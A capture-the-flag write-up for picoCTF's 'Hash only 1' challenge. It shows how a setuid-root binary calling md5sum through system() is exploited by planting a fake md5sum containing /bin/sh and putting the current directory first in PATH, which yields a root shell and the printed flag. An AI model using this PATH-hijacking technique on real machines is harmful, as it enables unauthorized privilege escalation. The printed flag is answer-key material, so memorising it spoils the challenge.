Hash only 1
Author: Junias Bonou
Description: Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content! Running the instance given in challenge we get the follwing commands to connect to remote server using ssh.
SSH command: ssh ctf-player@shape-facility.picoctf.net -p <PORT>
SSH password: <PASSWORD>
Copy binary to local machine: scp -P <PORT> ctf-player@shape-facility.picoctf.net:~/flaghasher .
Firstly, i logged into remote server using ssh.
There i ran some commands to check my authority.
ctf-player@pico-chall$ whoami
ctf-player
ctf-player@pico-chall$ ls
flaghasher
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
<MD5_HASH_OF_FLAG> /root/flag.txt
ctf-player@pico-chall$ cd /root
Computing the MD5 hash of /root/flag.txt....
a02bbc9ebf913b57ee486b51accacf17 /root/flag.txt
ctf-player@pico-chall$ cd /root
-bash: cd: /root: Permission denied
We can see the user ctf-player
has no access to root
Let’s run ls -la
to check permissions of executable flaghasher
ctf-player@pico-chall$ ls -la
total 24
drwxr-xr-x 1 ctf-player ctf-player 20 Apr 11 03:24 .
drwxr-xr-x 1 root root 24 Mar 6 03:44 ..
drwx------ 2 ctf-player ctf-player 34 Apr 11 03:24 .cache
-rw-r--r-- 1 root root 67 Mar 6 03:45 .profile
-rwsr-xr-x 1 root root 18312 Mar 6 03:45 flaghasher
So executable flaghasher
has root access.
Umm… interesting
Let’s use the other command initally given to make a copy of binary flaghasher
in our local machine.
scp -P <PORT> ctf-player@shape-facility.picoctf.net:~/flaghasher .
Now after getting a copy of binary on local machine run ltrace
command on binary.
The ltrace command in Linux is used to trace library calls made by a program. It shows you the calls to shared libraries (like libc, libm, etc.) and the arguments passed to them. It’s especially useful for debugging and reverse engineering when you want to see what functions a binary is using without looking at the source code.
$ ltrace ./flaghasher
_ZNSt8ios_base4InitC1Ev(0x564eb510f271, 0xffff, 0x7ffd621003b8, 320) = 2
__cxa_atexit(0x7f9535075ae0, 0x564eb510f271, 0x564eb510f008, 320) = 0
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x564eb510f040, 0x564eb510d010, 0x7ffd621003b8, 352) = 0x564eb510f040
_ZNSolsEPFRSoS_E(0x564eb510f040, 0x7f95350f0650, 0x564eb510f040, 1024Computing the MD5 hash of /root/flag.txt....
) = 0x564eb510f040
_ZNSolsEPFRSoS_E(0x564eb510f040, 0x7f95350f0650, 0x564eb510f040, 0x7f9534e91210
) = 0x564eb510f040
sleep(2) = 0
_ZNSaIcEC1Ev(0x7ffd6210024b, 0, 0, 0x7f9534e68073) = 0x7ffd6210024b
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_(0x7ffd62100250, 0x564eb510d040, 0x7ffd6210024b, 0x7f9534e68073) = 0x564ec6ceb6c0
_ZNSaIcED1Ev(0x7ffd6210024b, 0x564eb510d040, 36, 0x564ec6ceb6c0) = 0x7ffd6210024b
setgid(0) = -1
setuid(0) = -1
_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv(0x7ffd62100250, 0x564eb510d040, 0, 0x7f9534e84f04) = 0x564ec6ceb6c0
system("/bin/bash -c 'md5sum /root/flag."...md5sum: /root/flag.txt: Permission denied
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x564eb510f160, 0x564eb510d068, 0, 0x7f9534e25ec4Error: system() call returned non-zero value: ) = 0x564eb510f160
_ZNSolsEi(0x564eb510f160, 256, 0x564eb510f160, 0x7f9534e91210256) = 0x564eb510f160
_ZNSolsEPFRSoS_E(0x564eb510f160, 0x7f95350f0650, 0x564eb510f160, 0x7f9534e91210
) = 0x564eb510f160
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev(0x7ffd62100250, 0, 0x7f9534f75563, 0x7f9534e91210) = 0x564ec6cd9010
+++ exited (status 1) +++
Focus on the line
system("/bin/bash -c 'md5sum /root/flag.".
md5sum
command is being invoked by the binary in order to create md5 hash of the flag situated at /root/flag.txt
.
If we can somehow use our custom vulnerable md5sum
named script instead of real md5sum
script, we can gain the root shell access.
What to do -
- make binary named
md5sum
within the same directory as flaghasher - add bash script path (
/bin/sh
) to it, so that it will run bash whenever invoked - give it executable permission using
chmod +x md5sum
- append current directory (.) to list of path containing executable (
$PATH
) - Now when you run the
flaghasher
binary the vulnerablemd5sum
will be the first to get invoked during execution offlaghasher
and will give us access to the root shell - Hence we can navigate to
/root
and usecat
to get our flag printed.
Let’s do it, log in to ssh first and then use these commands -
ctf-player@pico-chall$ echo "/bin/sh" > md5sum
ctf-player@pico-chall$ chmod +x ./md5sum
ctf-player@pico-chall$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
ctf-player@pico-chall$ export PATH=.:$PATH
ctf-player@pico-chall$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
ctf-player@pico-chall$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
# ls
flaghasher md5sum
# cd /root
# ls
flag.txt
# cat flag.txt
picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_0c1fd083}#
yooo, we got our flag!!!
In this way we have solved this challenge.